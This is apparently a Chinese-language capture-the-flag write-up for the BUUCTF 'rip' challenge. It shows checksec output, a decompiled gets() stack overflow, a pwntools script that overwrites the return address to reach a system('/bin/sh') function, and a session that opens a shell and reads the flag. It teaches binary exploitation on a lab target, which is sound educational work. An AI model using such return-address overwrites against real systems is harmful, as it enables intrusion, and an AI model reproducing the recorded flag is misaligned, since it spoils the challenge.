

# rip buuctf

查看保护

```
ams@ubuntu:~/ws$ checksec pwn1
[*] '/home/ams/ws/pwn1'
Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX disabled
PIE:       No PIE (0x400000)
RWX:       Has RWX segments
```

IDA反编译，发现简单的栈溢出漏洞

```
1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3     char s[15]; // [rsp+1h] [rbp-Fh] BYREF
4
5     puts("please input");
6     gets(s, argv);
7     puts(s);
8     puts("ok,bye!!!");
9     return 0;
10 }
```

```
1 int fun()
2 {
3     return system("/bin/sh");
4 }
```

返回地址覆盖为 `fun` 函数地址即可。

Python

```
1 from pwn import *
2 p = remote('node3.buuoj.cn',25376)
3 context.log_level='debug'
4 fun_addr = 0x040118A
5 payload = 'A'*0x0F + 'A'*0x08 + p64(fun_addr)
6 p.sendline(payload)
7 p.interactive()
```

```
(root@ams)-[/home/ams/ws]
# python exp.py
[+] Opening connection to node3.buuoj.cn on port 25376: Done
[DEBUG] Sent 0x20 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  |AAAA|AAAA|AAAA|AAAA|
    00000010  41 41 41 41  41 41 41 8a  11 40 00 00  00 00 00 0a  |AAAA|AAA·|·@··|·...|
    00000020
[*] Switching to interactive mode
$ cat flag
[DEBUG] Sent 0x9 bytes:
    'cat flag\n'
[DEBUG] Received 0x2b bytes:
    'flag{780d9640-20b2-4e18-a324-c5eccfa3bd49}\n'
flag{780d9640-20b2-4e18-a324-c5eccfa3bd49}
$
```